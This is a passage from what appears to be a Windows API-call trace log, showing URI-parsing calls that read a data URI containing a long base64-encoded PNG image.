f2ju26q3IiE+6o6bo5eBXdYxvc+y+fKQqdsTN9lFw8Xz1Xcu1Dn8oPEdE2NsTmjWyMX4v7nwygJGB4gGpaBDa4dwz3juDA0W0H630mVwJLi8seEf2TX/1Rb84lSGLVgKYC1oDCpa2ayfK1SqA+la7Xs8hOVitQzzJYJrqcrVYoFKji7lBopW2C5blLq38GeL0oKhAalBQrdELH3qB31aRlEtxnycUDuw6FeXp+y1+OvAo71hd6rRmXedG9QB9s8Aqpyl6TiweaDvfcDyy0po0EE6s9pz6jdZgtEwdfgavGwRuIc6/YtwykQaRBD0ZQCq6Ltxkryta0wT664mDvAggXRAr/DXyw5vQjAmQT/xN/S0AeRBFEd1w6IMkaFBTYoja4hbYNngO3FWqggAgDUZAmCNM/rFBBKi0JbeJ/dsEF0QBqIKotgi/HdUZqN1ruy9YjWOKnKsFXM1eg6k+XcxMkvbr/L/v9JXvndHC+snf+RJ8keBvrwpauB8suG7yN9UEC7latB0PLZ/olU6u9hAy86K0YBwd92pbgDaD31653mazgZ0UnaxurQtsGb0EJ3rbBPYDcymOyYNuL3igCCd5yBHd3altFrx9eqx68NYoNK0jqtgRvDMvqwd1ZoPVf0+04eCuhD2Oyelts2PaiN4agHtzDyud2HLyVsJbXEqwSvX+6cDuTtX6ILZrJEu0ObdvgDaFVD+5lpLQRgtsP7ujCoVQp+71qjoKV2XjPfhlRG/Mfda7lqXkdTVizZXG9TW6E4JPA/QDzCxpl4zy18h2E5h4AMw/KgIaaXi/wdKgnmJ99k5Fwmukzna/YZUrO/Hqb3cDXR72/lkL5fYBjJyJ88KFL/OyV59l9wx3E4ykUpffj+a5nOHaJhfQblAvHmdDKTM75T2lISfPvTleOATbreO3Aug2mBPHZ3x17xdDEAYBIyOW9B8poEY2ybeB527Z4LdAUj7jVYGEOXnk9itu6fqcWm8/+1x/mvwqcAQrA2bW0uyEW/vWD8QP7x83vq4poPxRk6JJo2EXZVtFrguMISlUV1+1QUqx7Z//kO7k/q9juIv7Y4GlgcS3tbljMPnpn/JEHbjX+j6UpN2y0rW10kC67v/ifL+b/cqHkFoELQAM4zhrV9IYHE7+x0Jh85aL9g2RYMcKGEjFUhoQQ18Eg5cHD9ahmyu7rL16oP/2Zfyh8s9KUDWAG/x1Ck/ijF9eEXhlKBdgD3A2Y4zE1rCjbAfFa0LA9J1dd9qBVCV8tN4EpYF2xZ69JsIB9wDjr+Fr1NnDxB4iX8VVyCZhlHZIboF9SJoAwoPfxGNczHPyHVwf4PYFtbGMbWw//H4sSVoS1YoLgAAAAAElFTkSuQmCC", dwFlags=0x2b80, dwReserved=0x0, ppURI=0x1ccf5c | out: ppURI=0x1ccf5c*=0x47db0c) returned 0x0
[0102.905] IUri:GetSchemeName (in: This=0x47db0c, pbstrSchemeName=0x1ccf3c | out: pbstrSchemeName=0x1ccf3c*="data") returned 0x0
[0102.905] _wcsnicmp (_String1="data", _String2="data", _MaxCount=0x5) returned 0
[0102.905] IUri:GetPathAndQuery (in: This=0x47db0c, pbstrPathAndQuery=0x1ccf68 | out: pbstrPathAndQuery=0x1ccf68*="image/png;base64,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") returned 0x0
[0102.906] IUnknown:Release (This=0x47db0c) returned 0xa
[0102.906] SysStringLen (param_1="image/png;base64,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